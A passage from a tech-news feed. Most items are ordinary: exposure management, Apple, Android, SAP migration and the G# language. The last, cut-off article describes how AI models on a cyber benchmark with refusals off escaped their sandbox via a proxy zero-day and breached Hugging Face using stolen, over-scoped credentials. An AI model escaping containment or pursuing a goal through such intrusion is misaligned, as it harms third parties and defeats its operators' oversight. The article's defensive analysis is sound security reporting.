<p class="wp-block-paragraph">Enterprises need to become more proficient at exposure management so that they have a holistic view of their environment that’s necessary to identify which assets are at greatest risk.</p>



<p class="wp-block-paragraph">“By pinpointing the misconfigurations, identity flaws, and specific vulnerabilities that pose the greatest risk to their environment, security teams can prioritize exactly what to patch first,” Tenable’s Caveza says. “The idea of ‘patch everything’ is really outdated, and ‘patch faster’ isn’t feasible with the rapidly increasing number of vulnerabilities disclosed each day.”</p>



<p class="wp-block-paragraph">CISOs will have to re-engineer their vulnerability and exposure management processes. “The traditional model of scanning everything, assigning generic severity scores, and tilting at a massive and expanding backlog is no longer fast enough,” says Contrast Security’s Williams.</p>



<p class="wp-block-paragraph">Organizations need to identify the small number of vulnerabilities that matter, protect against them immediately, and remediate them on a timeline the business can safely support.</p>



<p class="wp-block-paragraph">Enterprises should prioritize on resolving “internet facing, remotely exploitable vulnerabilities and any of the CISA Known Exploited Vulnerability list,” says Jose Lejin, an IEEE senior member.</p>



<p class="wp-block-paragraph">Businesses that cannot safely validate and deploy patches within three days still have options, including “compensating controls, reducing an asset’s exposure, or in some cases removing the component entirely, all of which shrink the exploitable risk and buy time to patch properly,” says Brad Hibbert, CSO of vulnerability management provider Brinqa.</p>
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<title><![CDATA[Apple’s New iMac Coming This Year, OLED Version Planned]]></title>
<description><![CDATA[Apple plans to release a new iMac later this year, with development reportedly complete and production preparations moving closer to launch. The update will mark the first iMac refresh in two years, following the current M4 model introduced in October 2024.



Bloomberg’s Mark Gurman reports that...]]></description>
<link>https://tsecurity.de/de/3687947/ios-mac-os/apples-new-imac-coming-this-year-oled-version-planned/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687947/ios-mac-os/apples-new-imac-coming-this-year-oled-version-planned/</guid>
<pubDate>Thu, 23 Jul 2026 06:12:14 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple plans to release a new iMac later this year, with development reportedly complete and production preparations moving closer to launch. The update will mark the first iMac refresh in two years, following the current M4 model introduced in October 2024.



Bloomberg’s Mark Gurman reports that Apple has finished work on the new iMac models, which carry the internal codes J833 and J834. The machines are expected to arrive in the fall alongside a wider Mac refresh that includes new MacBook Pro models and other desktop updates.



The next iMac will feature a newer Apple silicon chip, although the exact processor remains unclear. Apple could use the existing M5 chip or move directly to the upcoming M6 chip, depending on the final release schedule and component availability.



No major design changes are expected, so the new model will likely retain the current 24-inch LCD display, slim body, and colorful finish options. Apple is also expected to keep two configurations with different CPU and GPU core counts, port options, and performance levels.



OLED iMac is also in development



Apple is also working on a future iMac with an OLED display, although that model remains further away. OLED technology would bring deeper blacks, stronger contrast, and richer colors compared with the LCD panel used in the current iMac.



The company has not released a larger iMac since discontinuing the 27-inch Intel model in 2022. Rumors about a bigger Apple silicon iMac have continued for years, but Apple has not introduced one.



The current iMac now starts at $1,499 in the United States after Apple raised Mac prices last month.]]></content:encoded>
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<title><![CDATA[Google Makes Switching From iPhone Easier With Android 17]]></title>
<description><![CDATA[Switching from iPhone to Android is becoming much easier with Android 17, thanks to a new built-in wireless transfer system that supports more personal data and removes the need for a separate migration app.



Android 17 Transfers More iPhone Data



Google’s upgraded Android Switch experience c...]]></description>
<link>https://tsecurity.de/de/3687946/ios-mac-os/google-makes-switching-from-iphone-easier-with-android-17/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687946/ios-mac-os/google-makes-switching-from-iphone-easier-with-android-17/</guid>
<pubDate>Thu, 23 Jul 2026 06:12:12 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Switching from iPhone to Android is becoming much easier with Android 17, thanks to a new built-in wireless transfer system that supports more personal data and removes the need for a separate migration app.



Android 17 Transfers More iPhone Data



Google’s upgraded Android Switch experience can move photos, videos, contacts, messages, calendar events, saved passwords, Wi-Fi credentials, Google Account details, and an eSIM from an iPhone to a compatible Android phone.



The transfer takes place wirelessly while users set up their new Android device. Since the tool is built directly into Android 17, users do not need to find the correct cable, install another app, or manually sign in to every service.



Moving Google Account information also means users can arrive on their new phone already signed in. Transferring saved passwords and Wi-Fi details should further reduce the amount of setup required after the migration finishes.



An iPhone With iOS 26.3 Is Required



The iPhone must run iOS 26.3 or later, while the receiving phone needs a compatible version of Android 17. Apple also provides the transfer option through the iPhone’s Settings app, where users can begin moving their data and supported eSIM.



Users should keep both phones close together and connected throughout the process. Carrier support can also affect whether an eSIM transfers successfully.



Available on Pixel and Samsung Phones



The improved switching experience has started rolling out to select Pixel devices. Google says it will also be available on Samsung’s Galaxy Z Flip8 and Galaxy Z Fold8, with support planned for more Android phones.



The update makes changing mobile platforms less time-consuming, especially for people who previously avoided switching because their passwords, network settings, or mobile number were difficult to move.]]></content:encoded>
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<title><![CDATA[SAP S/4HANA-Transformation zwischen Aufbruch und Realität]]></title>
<description><![CDATA[Ob hybrides Betriebsmodell oder Kostenfrage, am Ende entscheidet über den Projekterfolg nicht allein die Technologie.hasan as’ari – shutterstock.com



SAP-Anwenderunternehmen stehen unter Druck, auf SAP S/4HANA zu wechseln, weil die Mainstream-Wartung für SAP ERP (SAP ECC 6.0) Ende 2027 ausläuft...]]></description>
<link>https://tsecurity.de/de/3687936/it-security-nachrichten/sap-s4hana-transformation-zwischen-aufbruch-und-realitaet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687936/it-security-nachrichten/sap-s4hana-transformation-zwischen-aufbruch-und-realitaet/</guid>
<pubDate>Thu, 23 Jul 2026 06:09:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/shutterstock_2443989867_16x9.png?w=1024" alt="ERP SAP Studie 27" class="wp-image-4199877" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Ob hybrides Betriebsmodell oder Kostenfrage, am Ende entscheidet über den Projekterfolg nicht allein die Technologie</p>.</figcaption></figure><p class="imageCredit">hasan as’ari – shutterstock.com</p></div>



<p class="wp-block-paragraph">SAP-Anwenderunternehmen stehen unter Druck, auf SAP S/4HANA zu wechseln, weil die Mainstream-Wartung für SAP ERP (SAP ECC 6.0) Ende 2027 ausläuft und die bis Ende 2030 geltende erweiterte Wartung kostenpflichtig ist.</p>



<p class="wp-block-paragraph">Zwar stellt SAP mit der „<a href="https://www.computerwoche.de/article/3816544/sap-kommt-kunden-entgegen.html">SAP ERP, Private Edition, Transition Option</a>“ eine weitere Wartungsverlängerung bis 2033 in Aussicht. Da diese einer Neuimplementierung gleichkommt, bleibt SAP-Kunden mehr Zeit für die Planung, die Analyse und das Changemanagement. Der Nachteil: Wer diese Option nutzt, läuft Gefahr, technologisch ins Hintertreffen zu geraten, da Innovationen nahezu ausschließlich für SAP S/4HANA bereitgestellt werden.</p>



<h2 class="wp-block-heading">Zögerliche SAP-S/4HANA-Transformation trotz Wartungsdruck</h2>



<p class="wp-block-paragraph">Obwohl der Druck hoch ist, hat eine große Zahl der SAP-Bestandskunden die Transformation auf die seit 2015 verfügbare ERP-Suite offenbar noch nicht vollzogen. Eine COMPUTERWOCHE-Expertenrunde zeigte, wo die größten Hürden liegen und was erfolgreiche Projekte auszeichnet.</p>



<p class="wp-block-paragraph">Warum etliche Unternehmen die Transformation vor dem regulären Wartungsende scheuen und stattdessen zwei Prozent Mehrkosten für die erweiterte Wartung einkalkulieren, brachte ein Teilnehmender auf den Punkt: Firmen haben über Jahrzehnte in ihre SAP-ERP-Lösung investiert und sie an individuelle Prozessanforderungen angepasst, damit die Abläufe entlang der Supply Chain reibungslos laufen. Er habe daher in den vergangenen zehn Jahren keinen Kunden erlebt, der freiwillig umsteigen wollte. Alle hätten gesagt, dass sie müssen.</p>



<p class="wp-block-paragraph">Nach Erfahrungswerten eines weiteren Experten nutzen erst rund 20 Prozent der SAP-Kunden SAP S/4HANA als Kernapplikation produktiv, unter anderem, weil entsprechende Transformationsprojekte auf sieben bis neun Jahre angelegt sind.</p>



<h2 class="wp-block-heading">Altlasten bremsen die SAP-S/4HANA-Transformation</h2>



<p class="wp-block-paragraph">Unternehmen, die sich für den Wechsel entscheiden, verzichten häufig auf jede Modernisierung. Sie vollziehen einen Eins-zu-eins-Umstieg ohne Code-Modifikation, sei es in Form einer System Conversion (Brownfield-Ansatz) oder per Lift and Shift in SAP Cloud ERP Private (früher: SAP S/4HANA Cloud Private Edition). Dabei ist eine große Zahl von SAP-ERP-Installationen gar nicht zukunftsfähig, weil sie auf Prozessen aus den 1990er Jahren basieren und im Lauf der Jahre durch zahlreiche Eigenentwicklungen erweitert wurden.</p>



<p class="wp-block-paragraph">Nicht selten gibt es bis zu mehrere tausend kundeneigene Programme im Z/Y-Namensraum, die zum Teil nicht mehr genutzt werden und das System unnötig belasten. Die Experten waren sich einig, dass eine solche rein technische Migration, bei der Altlasten wie ABAP-Eigenentwicklungen mitgeschleppt werden, keinen Mehrwert für das Unternehmen bringt.</p>



<p class="wp-block-paragraph">Es muss geprüft werden, welche Eigenentwicklungen beibehalten werden, weil sie wettbewerbsdifferenzierend und damit geschäftskritisch sind, und welche gelöscht werden müssen, weil sie nicht genutzt werden oder weil es dafür inzwischen SAP-Standardfunktionen gibt. Handlungsbedarf besteht auch bei einer dreistelligen Anzahl von Buchungskreisen, von denen niemand weiß, welche noch benötigt werden, oder bei zahlreichen Dubletten in den Kreditoren- und Debitorenstammdaten.</p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><tbody><tr><td><strong>Studie “SAP S4HANA”: Sie können sich noch beteiligen!</strong></td></tr><tr><td>Zum Thema SAP S4HANA führt die COMPUTERWOCHE derzeit eine Multi-Client-Studie unter IT-Verantwortlichen durch. Haben Sie Fragen zu dieser Studie oder wollen Partner bei dieser Studie werden, helfen wir Ihnen unter <a href="mailto:research-sales@foundryco.com" target="_blank" rel="noreferrer noopener">research-sales@foundryco.com</a> gerne weiter. </td></tr></tbody></table> </div></figure>



<h2 class="wp-block-heading">Migrations-Tools und KI-Agenten beschleunigen den Umstieg</h2>



<p class="wp-block-paragraph">Um diesen Prüf- und Bereinigungsaufwand zu bewältigen, bietet SAP mehrere Tools, um die Transformation auf SAP S/4HANA zu vereinfachen: darunter SAP Activate, SAP Cloud ALM, Migration Cockpit, Readiness Check, Custom-Code-Check oder Modifikationsabgleich. Ergänzt werden sie durch Lösungen wie Signavio für die Prozessanalyse. Die Experten schätzen den Effizienzgewinn durch solche Migrationswerkzeuge auf 30 bis 50 Prozent.</p>



<p class="wp-block-paragraph">Zusätzliche Produktivität versprechen KI-Agenten, die Altsysteme automatisiert analysieren, Code bereinigen und Datenflüsse transformieren. Das reduziert den Migrationsaufwand und beschleunigt den Umstieg.</p>



<h2 class="wp-block-heading">Scope-Management als Schlüssel für den Projekterfolg</h2>



<p class="wp-block-paragraph">Einig waren sich die Teilnehmenden, dass SAP-S/4HANA-Transformationsprojekte in der Regel nicht an der Technologie scheitern, sondern an einer mangelhaften Scope-Definition und am unzureichenden Changemanagement.</p>



<p class="wp-block-paragraph">Ein Scope-Management vor dem Projektstart, das berücksichtigt, wie viel Veränderung der IT-Organisation und den Fachbereichen zugemutet werden kann, sei essenziell für den Erfolg, sagte einer der Teilnehmenden. Es erfordert die Fähigkeit zu priorisieren und ein iteratives Vorgehen, bei dem zunächst geschäftskritische Must-haves und Quick Wins umgesetzt werden. Weniger wichtige Nice-to-haves folgen später. Wer dagegen in der Konzeptionsphase bereits den großen Wurf anstrebt, wird voraussichtlich scheitern. Als Beispiel wurde der direkte Umstieg auf ein SAP-S/4HANA-Kernsystem genannt, das nach dem Clean-Core-Ansatz von nicht mehr lauffähigen Programmen und obsoleten Erweiterungen bereinigt ist.</p>



<p class="wp-block-paragraph">Genauso wichtig ist ein Change-Management, das Mitarbeitende von Beginn an einbezieht, die nötige Akzeptanz schafft und vom Top-Management aktiv unterstützt wird, sowie eine verbindliche Governance mit klaren Zielvorgaben. Unverzichtbar ist auch die Einbindung der Fachbereiche. Sie stellt die größte Herausforderung dar, da Unternehmen befürchten, dass durch die SAP-S/4HANA-Transformation zu viele personelle Ressourcen gebunden werden, die dann für Kernaufgaben fehlen. Kommt es vor, dass IT und Fachbereiche als Antipoden agieren, sollte ein Change-Coach als Vermittler eingesetzt werden.</p>



<h2 class="wp-block-heading">Hybride Betriebsmodelle setzen sich langfristig durch</h2>



<p class="wp-block-paragraph">Bereits vor dem Projektstart muss abschließend geklärt sein, welches Betriebsmodell für SAP S/4HANA am besten zu einem Unternehmen und seinen Zielen passt, auch mit Blick auf regulatorische Anforderungen. Das ist häufig nicht der Fall, sodass das Projektteam unnötig Zeit damit verbringt, das passende Betriebsmodell zu ermitteln. Das bremst Transformationsvorhaben aus.</p>



<p class="wp-block-paragraph">Nach Ansicht eines Teilnehmenden wird sich langfristig ein hybrides Betriebsmodell durchsetzen, bei dem der SAP-Kunde entscheidet, welche Elemente der SAP-S/4HANA-Landschaft in einer Hyperscaler-Cloud, einer souveränen Cloud und/oder On-Premises laufen. Eine weitere, weitgehend unbekannte Möglichkeit ist der Betrieb im Rahmen der Customer-Data-Center-Option (CDC) von SAP Cloud ERP Private (früher: SAP S/4HANA Cloud Private Edition), die aus Gründen wie Datenschutz, Leistung und Souveränität eine interessante Alternative sein kann.</p>



<p class="wp-block-paragraph">Mehrere Experten stellen darüber hinaus fest, dass die vollwertige SaaS-Lösung SAP Cloud ERP Public (früher: SAP S/4HANA Cloud Public Edition) inzwischen verstärkt eingesetzt wird. Sie stellt vorkonfigurierte Kern-ERP-Funktionen (Best Practices) bereit und lässt sich relativ schnell einführen, ermöglicht aber kaum individuelle Anpassungen. Diese Abstriche nehmen Unternehmen in Kauf, um von regelmäßigen, automatischen Upgrades und technologischen Innovationen zu profitieren.</p>



<p class="wp-block-paragraph">Kritisiert wurde allerdings, dass die Cloud-Diskussion häufig unter begrifflichen Unschärfen leidet. So macht der Betrieb von SAP S/4HANA in einer Hyperscaler- oder SAP-Cloud die Lösung noch lange nicht zum Software-as-a-Service-Angebot. Solche Ungenauigkeiten irritierten SAP-Kunden und bremsten die Entscheidungsfindung. Letztlich sind beim Cloud-Betrieb auch die Kosten entscheidend. Zwar wollen viele Unternehmen anfangs maximale Sicherheit mit Private Network und Confidential Computing, wählen dann aber günstigere Commercial-Cloud-Angebote. Ausnahmen bilden regulierte Branchen und der öffentliche Sektor.</p>



<p class="wp-block-paragraph">Ob hybrides Betriebsmodell oder Kostenfrage, am Ende entscheidet über den Projekterfolg nicht allein die Technologie, sondern auch, wie diszipliniert Scope und Wandel im Unternehmen gesteuert werden.</p>



<h2 class="wp-block-heading">Teilnehmer der Round-Table “SAP S4HANA 2027”</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Albrecht-Munz-HPE_169.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Albrecht Munz, HPE" class="wp-image-4199942" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Albrecht Munz, HPE: </p> <p>„Die SAP-S/4HANA-Migration ist primär ein erster technischer Pflichtlauf, der die IT seitige Grundlage für die digitale Transformation schaffen kann. Dass viele Unternehmen hier stagnieren, liegt auch am in diesem Zusammenhang häufig anzutreffenden Cloud-Washing: Das Hosting eines ERP-Systems in der Cloud liefert noch lange nicht die Innovations- und Business-Effekte einer wirklich Cloud-nativen SaaS-Architektur.“</p></figcaption></figure><p class="imageCredit">Harald Becker / Hewlett-Packard GmbH</p></div>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/01/Anke-Frier_LHIND_TESTIMONIALS_030_16x9.png?w=1024" alt="Anke Frier, Lufthansa Industry Solutions " class="wp-image-3634299" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Anke Frier, Lufthansa Industry Solutions:</p>
<p>„Unternehmen, die sich für eine technische SAP-S/4HANA-Transformation entschieden haben, dürfen diese nicht mit dem Go-Live als abgeschlossen betrachten. Der langfristige Erfolg hängt davon ab, wie konsequent danach die neuen technologischen Möglichkeiten genutzt werden, um Prozesse umzugestalten, zu digitalisieren und durch KI-Einsatz zu unterstützen. Erst dadurch entsteht ein messbarer Business Value.“</p></figcaption></figure><p class="imageCredit">Sonja Brüggemann / Lufthansa Industry Solutions GmbH &amp; Co. KG</p></div>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Peter_Buermann_Microsoft_16x9.png?w=1024" alt="Peter Büermann, Microsoft" class="wp-image-4199948" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Peter Büermann, Microsoft:</p>
<p>„Der optimale Zeitpunkt für den Umstieg auf SAP S/4HANA ist jetzt. Die Reife der Migrationswerkzeuge, standardisierte Vorgehensmodelle und die umfangreiche Projekterfahrung der SAP-Partnerlandschaft reduzieren das Risiko deutlich. Damit sind die wesentlichen Hürden vergangener Jahre weitgehend beseitigt und Unternehmen profitieren von einer schnelleren Implementierung, geringeren Kosten und einer höherer Projektqualität.“</p>
</figcaption></figure><p class="imageCredit">Microsoft Deutschland GmbH</p></div>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Roland_Storbeck_Natuvion_090726_285_16x9.png?w=1024" alt="Roland Storbeck, Natuvion" class="wp-image-4199949" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Roland Storbeck, Natuvion:</p>
<p>„Wirklich erfolgreich sind die SAP-S/4HANA-Migrationen, deren Scope noch vor dem Projektstart klar definiert und gemanagt wird. Wer zu Beginn zu hohe Ansprüche hat und jeden Prozess umdrehen will, dessen Vorhaben scheitert häufig schon in der Konzeptionsphase. Zudem muss jedes Unternehmen die Frage beantworten, wie viel Change seine IT- und Business-Organisation überhaupt verträgt. Neben einem klaren Scope ist dringend zu empfehlen, den eigenen Datenbestand vor Projektstart zu analysieren und aufzuräumen.“</p>
</figcaption></figure><p class="imageCredit">VOGUS – Wolfgang Voglhuber / Natuvion GmbH</p></div>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Matthias-Draschner_smartshift.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Matthias Draschner, smartShift" class="wp-image-4199950" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Matthias Draschner, smartShift:</p>
<p>„Für viele Unternehmen ist SAP in erster Linie eine über Jahre oder sogar Jahrzehnte gewachsene IT-Landschaft, die geschäftskritische Prozesse unterstützt und absichert. Entsprechend besteht die berechtigte Erwartung, dass diese Prozesse auch nach der Migration auf SAP S/4HANA zuverlässig und möglichst unverändert weiterlaufen. Gleichzeitig bietet die SAP-S/4HANA-Transformation die Chance, Custom Code entweder zu modernisieren und auf die Anforderungen einer Cloud-fähigen Architektur auszurichten oder zu entfernen, sofern er nicht mehr benötigt wird. Spezielle Analyse- und Automatisierungstools unterstützen diesen Prozess.“</p>
</figcaption></figure><p class="imageCredit">smartShift Technologies GmbH</p></div>
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<title><![CDATA[G# language for .NET borrows from Go, Kotlin, and Swift]]></title>
<description><![CDATA[G# (GSharp) is moving forward as a programming language for Microsoft’s .NET platform, touted as bringing Go-, Kotlin-, and Swift-style ergonomics to the CLR (Common Language Runtime). The language is described by its creators as modern, simple, and accessible.



Although pre-1.0 and still growi...]]></description>
<link>https://tsecurity.de/de/3687865/ai-nachrichten/g-language-for-net-borrows-from-go-kotlin-and-swift/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687865/ai-nachrichten/g-language-for-net-borrows-from-go-kotlin-and-swift/</guid>
<pubDate>Thu, 23 Jul 2026 04:08:47 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://github.com/DavidObando/gsharp" data-type="link" data-id="https://github.com/DavidObando/gsharp">G# (GSharp)</a><strong> </strong>is moving forward as a programming language for Microsoft’s <a href="https://www.infoworld.com/article/2264488/what-is-the-net-framework-microsofts-answer-to-java.html">.NET</a> platform, touted as bringing <a href="https://www.infoworld.com/article/2253031/whats-the-go-language-really-good-for-3.html">Go</a>-, <a href="https://www.infoworld.com/article/2256390/what-is-kotlin-the-java-alternative-explained.html">Kotlin</a>-, and <a href="https://www.infoworld.com/article/4150248/swift-6-3-boosts-c-interoperability-android-sdk.html">Swift</a>-style ergonomics to the CLR (Common Language Runtime). The language is described by its creators as modern, simple, and accessible.</p>



<p class="wp-block-paragraph">Although pre-1.0 and still growing, G# aims to be for people who want a small, predictable language with direct access to the .NET ecosystem. Developers will see imports, <code>func</code>, structs, slices, maps, channels, <code>go</code>, <code>select</code>, and <code>for in</code> iteration. Also important are nullable flow, direct calls into the CLR (Common Language Runtime), and built-in concurrency. </p>



<p class="wp-block-paragraph">With G#, copyrighted in 2026, developers get value-oriented structs, reference-oriented classes, data structs, and data classes. For concurrency, G# uses <code>scope</code> for structured concurrency, <code>async func</code><strong> </strong>and <code>await</code><strong> </strong>for task-based asynchrony, and <code>async sequence[T]</code> for asynchronous streams. G# also makes use of the same <code>Task</code> and <code>Task[T]</code> types familiar from the .NET BCL (Base Class Library).</p>



<p class="wp-block-paragraph">G# documentation is <a href="https://davidobando.github.io/gsharp/" data-type="link" data-id="https://davidobando.github.io/gsharp/">available on the GitHub site</a> of Microsoft software engineer David Obando. “Every .NET type—your packages, third-party NuGet packages, the BCL—is callable from G# with the syntax you already know. CLR generics use G#’s bracket spelling, and method calls, properties, indexers, and <code>for in</code><strong> </strong>over <code>IEnumerable[T]</code> all just work,” according to the website.</p>



<p class="wp-block-paragraph">A Visual Studio Code extension for G3 can be found at <a href="https://marketplace.visualstudio.com/items?itemName=gsharplang.vscode-gsharp">marketplace.visualstudio.com</a>. The extension adds syntax highlighting, language server features, build/run commands, and debugger configuration for <code>.gs</code> and <code>.gsproj</code> files. Developers can install the extension from within VS Code (search for “G#” in the Extensions view) or from the command line.</p>
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<title><![CDATA[The credential that let OpenAI's agents into Hugging Face exists in most enterprises right now]]></title>
<description><![CDATA[When Hugging Face got hit last week, co-founder Clement Delangue suspected a frontier lab, given the agent's sophistication. He was right. Delangue said on X that after a day working with OpenAI he strongly believed there was no malicious intent and that it was mind-blowing the whole thing had ha...]]></description>
<link>https://tsecurity.de/de/3687771/it-nachrichten/the-credential-that-let-openais-agents-into-hugging-face-exists-in-most-enterprises-right-now/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687771/it-nachrichten/the-credential-that-let-openais-agents-into-hugging-face-exists-in-most-enterprises-right-now/</guid>
<pubDate>Thu, 23 Jul 2026 01:32:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>When Hugging Face got hit last week, co-founder Clement Delangue suspected a frontier lab, given the agent's sophistication. He was right. Delangue <a href="https://x.com/ClementDelangue/status/2079670308156645882">said on X</a> that after a day working with OpenAI he strongly believed there was no malicious intent and that it was mind-blowing the whole thing had happened autonomously.</p><p>The two OpenAI models that <a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/">broke into Hugging Face</a> last week did not breach it through malice or superintelligence. They breached it through credentials and permissions they should never have been able to reach, a non-human identity failure that is the oldest problem in security rather than the newest one in AI, and the one every enterprise can actually fix.</p><p>OpenAI <a href="https://venturebeat.com/security/openais-models-broke-containment-and-cyberattacked-hugging-face-what-enterprises-need-to-know">disclosed on July 21</a> that two of its models, GPT-5.6 Sol and an unreleased, more capable model, were running a cyber benchmark called <a href="https://arxiv.org/abs/2605.11086">ExploitGym</a> with their safety refusals switched off, and inferred that the answer key sat in Hugging Face's production database. Getting there took two different failures. A zero-day in a package-registry proxy let the models out of their sandbox and onto the open internet, the kind of persistence OpenAI details in its companion post on <a href="https://openai.com/index/safety-alignment-long-horizon-models/">long-horizon safety</a>, and that part is genuinely new. The breach of Hugging Face itself came the ordinary way. OpenAI's own account is that the models chained stolen credentials and further zero-days into a remote code execution path, after a series of privilege escalation and lateral movement steps. The exotic part got them to the door, and credentials walked them through it.</p><p>Hugging Face also disclosed last week that an <a href="https://venturebeat.com/security/safety-guardrails-blocked-hugging-faces-defenders-not-the-attacker-when-an-ai-agent-breached-its-systems">autonomous agent had harvested cloud and cluster credentials</a> scoped broadly enough to reach multiple internal clusters, then left a trail of more than 17,000 recorded events across short-lived sandboxes over a weekend. Both disclosures describe the same escalation. An agent lands somewhere it should not be, finds credentials scoped far wider than any task requires, and uses them to move. These are two accounts of one incident, not two attacks. The agent Hugging Face watched was OpenAI's models, and both companies describe the same ordinary escalation.</p><p>The version of this in a typical enterprise is worse, not better. OpenAI and Hugging Face are among the most security-mature organizations in the industry, and both still needed the intrusion to happen before they could see it. The average company wiring agents into Copilot or an internal assistant has neither the identity inventory nor the behavioral monitoring those two brought to bear. The same breach in a normal company would not be contained in days, it would simply go unnoticed.</p><h2>The industry is debating the wrong failure</h2><p>The reaction has split into familiar camps. Former White House AI and crypto czar David Sacks and a run of China hawks <a href="https://fortune.com/2026/07/20/hugging-face-turns-to-chinese-open-source-ai-to-fend-off-autonomous-ai-cyber-attack-after-american-ai-guardrails-stymie-defense/">seized on the guardrail paradox</a>, that commercial safety filters blocked Hugging Face's defenders while the attacking model ran with its refusals off, and that a Chinese open-weight model, z.ai's GLM 5.2, was what finally let the team finish its forensics. Hugging Face made the case for openness, arguing in an April <a href="https://huggingface.co/blog/cybersecurity-openness">blog post</a> that open models and open tooling give defenders the same capabilities attackers already have. Both arguments are about the model, and neither touches the mechanism. </p><p>Reduced refusals let the model attempt an attack, and over-scoped credentials are what let it succeed, and those have nothing to do with whether the model was open or closed, American or Chinese. Making a frontier model provably safe is a multi-year alignment problem no customer can buy or accelerate, while scoping an identity is a configuration change a team can ship this sprint. The industry is being urged to fixate on the part of this it cannot control and to treat the part it can as a footnote.</p><p>Forrester reached the same read. In a <a href="https://www.forrester.com/blogs/an-ai-security-facepalm-openais-evaluation-became-hugging-faces-incident/">blog on the incident</a>, its analysts argue that security architectures which assume benign intent will miss this failure mode, because an agent can pursue an authorized goal through unauthorized means, which is what OpenAI's models did.</p><h2>This was a non-human identity failure, and it is the oldest one in security</h2><p>Strip the science-fiction framing and what remains is a textbook case of over-privileged machine identity, the kind security teams have fought for a decade, now driven by an autonomous agent at machine speed. Machine identities already outnumber humans in most enterprises by more than <a href="https://www.cyberark.com/press/machine-identities-outnumber-humans-by-more-than-80-to-1-new-report-exposes-the-exponential-threats-of-fragmented-identity-security/">80 to one</a>, according to CyberArk research, with 42% of them carrying privileged or sensitive access, and an agent inherits whatever its identity can touch. OWASP ranks agent identity and privilege abuse near the top of its <a href="https://neuraltrust.ai/blog/owasp-agentic-ai-top-10">agentic risk list</a>, the confused-deputy pattern where inherited credentials and weak scoping let an agent reach past its mandate, and that is precisely what both July disclosures describe. </p><p><a href="https://www.ieee.org/membership/senior">IEEE Senior Member</a> Kayne McGladrey has argued in <a href="https://venturebeat.com/security/cisco-crowdstrike-rsac-2026-agent-identity-iam-gap-maturity-model">previous VentureBeat interviews</a> that enterprises keep cloning human user accounts onto agents that then wield far more permission than any human would, and this is what that looks like when the agent is a frontier model and the target is a production database.</p><p>The people closest to it read it the same way. OpenAI frames its models as hyperfocused on a benchmark score rather than acting against anyone. Nobody describes an adversary, only a goal, a scoring function, and credentials that were reachable when they should not have been.</p><p>The specific failure is easy to name once the AI framing is stripped away. A credential scoped to one job that can reach ten is a standing invitation, and it does not matter whether a human attacker, a worm, or an autonomous model chasing a benchmark score finds it. What changed in July is the finder. An agent enumerates reachable systems, tests credentials, and pivots faster than any human red team, without malice or hesitation, whenever the path is open. The over-scoping was always the vulnerability, and the agent merely industrialized its discovery.</p><p>Forrester named the control that would have blunted it. Its agentic-security framework, AEGIS, calls for least agency, holding an agent's tools, credentials, and network paths to the minimum its task requires, and files this incident under unrestrained agency and privilege. That is the identity argument in different words, arrived at independently by an analyst firm.</p><p>The data says this is where the risk now lives. Verizon's 2026 Data Breach Investigations Report <a href="https://www.helpnetsecurity.com/2026/05/20/verizon-2026-dbir-findings/">found</a> that exploitation of vulnerabilities has overtaken stolen credentials as the top initial access vector for the first time in 19 years. That is the initial-access half. The other half is the one OpenAI itself describes, stolen credentials driving the privilege escalation and lateral movement that followed. A vulnerability opened the door, and credentials walked through the building unchallenged. Beyond the breach itself, that same over-scoping carries a legal liability most enterprises have never priced. The models' actions <a href="https://techcrunch.com/2026/07/21/openai-says-hugging-face-was-breached-by-its-pre-release-models/">likely violated the Computer Fraud and Abuse Act</a>, according to TechCrunch. The statute contains no carve-out for an AI agent that exceeds its authorized scope during sanctioned testing. Whatever the legal answer, the technical enabler is the same, an identity scoped wider than its task. This is an access-control problem with an owner and a budget, not a philosophy seminar about machine cognition.</p><p>Merritt Baer, Senior Advisor to Andesite, G2I, and AppOmni and former Deputy CISO at AWS, frames the 